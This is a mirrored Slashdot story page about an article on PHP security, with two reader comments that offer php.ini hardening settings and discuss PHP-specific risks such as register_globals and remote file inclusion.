Slashdot Mirror

← Back to Stories (view on slashdot.org)

PHP Security

Posted by michael on from the learn-from-others'-mistakes dept.

Per Wigren writes: "This is a REALLY good article on PHP security! It's scary how easy it is to leave security holes in code that looks secure at the first glance. Every PHP coder should read this! Seconds after reading this I stopped my webservers for an audit and I found and closed several potential holes in my code..."

2 of 10 comments (clear)

  1. Re:That's why I chose not to use PHP by Ramses0 · · Score: 4

    In php.ini:

    error_reporting = E_ALL
    register_globals = Off
    magic_quotes_gpc = Off
    magic_quotes_runtime = Off
    magic_quotes_sybase = Off

    Make sure that your code works with the above configuration directives, and many of the security problems mentioned in the above article go away. Follow the author's recommendation about not allowing URL access in 'file' functions, and you're just about as safe as possible.

    The reasion you want to turn magic quotes off is because it's impossible to tell in PHP whether a given string has been quoted already or not (ie: it's magic), especially when you're redisplaying posted information in an HTML form in order to allow the user to correct their mistakes.

    Since typing out $HTTP_GET_VARS, $HTTP_POST_VARS, $HTTP_SESSION_VARS, $HTTP_COOKIE_VARS is a reeeeal mouthful to type over and over again, I took the liberty of making a function called 'gpc()' which will get a requested variable following the rules of Get/Post/Cookie ordering set in the ini file. Your globals namespace stays 100% unpolluted unless you specifically request that your variable comes from an insecure (get/post/cookie) request.

    Just remember: htmlspecialchars, escapeshellcmd, and addslashes are your friends. Use them in the right places and trust no one. :^)=

    --Robert

  2. Re:Well ... by xurble · · Score: 3
    It tells errors common to other web languages too; not only related to PHP

    Not really, the two chief problems he describes are the automatic creation and population of variables from the querystring or form fields and the ability to load library code off remote servers. Neither of which are possible under JSP or even ASP.

    And just saying "code better" is no answer, like the paper says "if a language makes it hard for a programmer to write good code (particularly by being counterintuitive) the language must itself take some of the blame for the situation."

    These are PHP specific problems and if you write in a mix of web scripting languages you are less likely to spot the implications of some of this slightly obscure behaviour.